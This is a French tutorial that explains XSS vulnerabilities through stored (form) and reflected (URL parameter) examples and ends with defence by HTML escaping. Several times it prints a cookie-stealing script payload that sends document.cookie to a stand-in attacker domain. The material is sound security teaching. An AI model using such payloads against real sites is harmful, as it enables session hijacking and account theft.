Sécurité : Faille XSS

La faille XSS (Cross-Site Scripting) consiste à exécuter des scripts malveillants sur les pages web de sites tiers.

Icône de calendrier
Intermédiaire
4 chapitres

La faille XSS, au même titre que l’injection SQL et l’attaque CSRF, est considérée comme l’une des failles de sécurité les plus courantes. Il est, pour cela, important de comprendre en quoi elle consiste et être en mesure de s’en prémunir.

Comprendre la faille XSS

Définition

Le Cross-Site Scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d’injecter du contenu (bien souvent du code JavaScript) dans une page dans le but de provoquer des actions indésirables sur les navigateurs web des visiteurs de la page.

Mais comment l’attaquant peut-il bien s’y prendre ? 🤔

Pour faire exécuter des scripts à un site web tiers, l’attaquant va saisir du code malicieux dans des entrées utilisateurs (formulaires) ou via l’URL dont la valeur est destinée à être affichée sur la page.

Fonctionnement

Concrètement, une faille XSS s’écrit en saisissant du code, généralement dans un formulaire de création de ressource sur un site web, au lieu du type d’information attendue. Il peut s’agir :

  • D’un post sur un réseau social
  • D’un article sur un blog collaboratif
  • D’un profil utilisateur
  • Etc.

Cette ressource est classiquement stockée dans une base de données puis affichée sur les pages concernées. C’est lors de cet affichage que le code saisi par l’attaquant, une fois injecté dans le DOM, s’exécutera.

Comprendre par l’exemple

Pour bien comprendre la faille XSS, prenons deux exemples concrets.

Faille XSS par formulaire

Admettons qu’un formulaire permette de publier un post sur un réseau social. Une base de données contiendrait une table posts avec la structure suivante :

Table posts :

idcontentpublished_atauthor_id
1Hello les geekos !2024-05-14 12:46:3746
2Je cherche un dev pour le site de mon cousin2023-02-19 05:16:08145

Le formulaire de publication d’un post ressemblerait à cela :

copié !
<form method="POST">
	<div class="form-item">
		<label for="post">Publier un message</label>
		<textarea name="post" id="post" rows="5">
	</div>
	<input type="submit" value="Publier">
</form>

la plupart des utilisateurs vont saisir dans ce champ un message classique et il n’y a pas de danger dans ce cas là. En revanche, certains utilisateurs mal intentionnés pourraient très bien saisir du code… et c’est là que les ennuis commencent.

Imaginons qu’un utilisateur saisisse dans ce champ le texte <h1>Hello</h1>, alors c’est du balisage HTML qui rentrera en base de données.

Table posts :

idcontentpublished_atauthor_id
1Hello les geekos !2023-05-14 12:46:3746
2Je cherche un dev pour le site de mon cousin2024-02-19 05:16:08145
3<h1>Hello</h1>2024-04-22 23:10:0046

Lorsque ce post sera récupéré pour être affiché dans le feed d’utilisateurs, le balisage HTML sera interpreté par le navigateur et le texte « Hello » apparaitra avec le style CSS correspondant au <h1>.

Bon, nous avons vu qu’il est possible d’exécuter du HTML sur une page web par le simple fait d’écrire des balises dans un champ de formulaire, de sorte à ce qu’il soit enregistré en BDD puis exécuté sur une page. Si vous sentez votre âme de hacker se réveiller, sachez que l’injection de HTML est à ce stade plutôt « mignonne », puisque la vraie menace réside dans la capacité à injecter du code JavaScript, bien plus permissif.

Et si l’utilisateur avait saisi <script>alert('Oups, faille XSS !');</script> cela serait un script JS qui serait rentré en BDD puis exécuté à chaque chargement du post dans le feed d’autres utilisateurs.

Table posts :

idcontentpublished_atauthor_id
1Hello les geekos !2023-05-14 12:46:3746
2Je cherche un dev pour le site de mon cousin2024-02-19 05:16:08145
3<script>alert('Oups, faille XSS !');</script>2024-04-22 23:10:0046

Sauf qu’encore une fois, il n’y a pas de danger réel à exécuter une popup alert() en JS. Mais vous avez compris qu’il est désormais possible d’exécuter des scripts bien plus néfastes, comme par exemple <script>document.location='http://domaineduhacker.com/index.php?cookie=' + document.cookie</script> qui transmettrait les cookies de l’utilisateur victime de l’attaque, au domaine d’un hacker. 😱

Faille XSS par l’URL

Une faille XSS est aussi possible en exploitant les paramètres de la chaîne de requête. Ces paramètres sont très utiles pour transmettre des informations au serveur.

Ils sont caractérisés par des couples clé-valeur, aussi appelés paramètres « GET ».

Admettons qu’un site web gère son système de traduction selon la valeur passée au paramètre GET nommé lang.

https://domaine.com/mapage?lang=fr

Imaginons que ce paramètre soit récupéré par le serveur pour être affiché sur chaque page, par l’intermédiaire de la navbar.

En haut de chaque page sera affichée la valeur de ce paramètre, dans la navbar par exemple.

Si l’URL ressemble à :

  • https://monsite.com/index.php?lang=fr, pas de problème.
  • https://monsite.com/index.php?lang=<script>document.location='http://domaineduhacker.com/index.php?cookie=' + document.cookie</script>, vous me voyez venir… HOLD-UP de cookies ! 🥷🍪

Le script va être injecté dans la navbar et donc interprété par le navigateur des utilisateurs la visitant.

Risques de la faille XSS

Les risques potentiels engendrés par une faille XSS sont très larges puisque l’attaquant peut exploiter tous les langages pris en charge par le navigateur (HTML, CSS et JavaScript).

Le vrai risque concerne l’exécution de JS dans le navigateur d’une victime à son insu, puisque JavaScript est un langage de programmation permettant de déclencher de nombreuses actions et d’accéder à de nombreuses informations du navigateur.

Une faille XSS contenant un script JS permettrait par exemple de :

  • Rediriger un utilisateur (souvent dans le but de l’hameçonner)
  • Voler des informations (sessions, cookies…)
  • Pirater un compte (en se connectant à un compte à partir d’une session ouverte) puis agir à l’insu de la victime et sous son identité (envoi de messages, suppression de données…)
  • Polluer la page (boucle infinie d’alertes JS par exemple)
  • Etc.

Se protéger de la faille XSS

Pour s’en protéger, il faut échapper tous les caractères spéciaux contenus dans les textes envoyés par l’utilisateur et qui sont susceptibles d’être affichés sur une page web.

Il s’agit la plupart du temps des ressources créées par les utilisateurs eux-même et stockés en base de données.

Pour cela, chaque langage et/ou bibliothèque propose des fonctions d’échappement de caractères (htmlspecialchars() en PHP, replace() en JS, etc.), empêchant leur interprétation par les navigateurs.

Leur rôle est de remplacer 5 caractères spéciaux indispensables à l’écriture de code, par leur correspondance encodée en HTML :

CaractèreEntité HTML
&&amp;
"&quot;
'&#039;
<&lt;
>&gt;

Ainsi l’extrait de JavaScript suivant :

<script>document.location='http://domaineduhacker.com/index.php?cookie=' + document.cookie</script>

Sera traduit en :

&lt;script&gt;document.location=&#039;http://domaineduhacker.com/index.php?cookie=&#039; + document.cookie&lt;/script&gt;

Cette chaîne de caractères affichera le code au lieu de l’exécuter.

&lt; &#039; et &gt; seront bien visuellement respectivement représentés par <, ' et >, mais aucun d’entre eux ne sera interprété.

En conclusion, la faille XSS représente une menace sérieuse pour la sécurité des applications web et de leurs utilisateurs puisqu’elle permet à n’importe qui d’exécuter des scripts malveillants sur le site d’autrui. Il est essentiel de comprendre son fonctionnement et de mettre en place des mesures de protection adéquates pour minimiser les risques. L’échappement des caractères spéciaux est considéré comme la meilleure pratique pour contrer ce type d’attaque.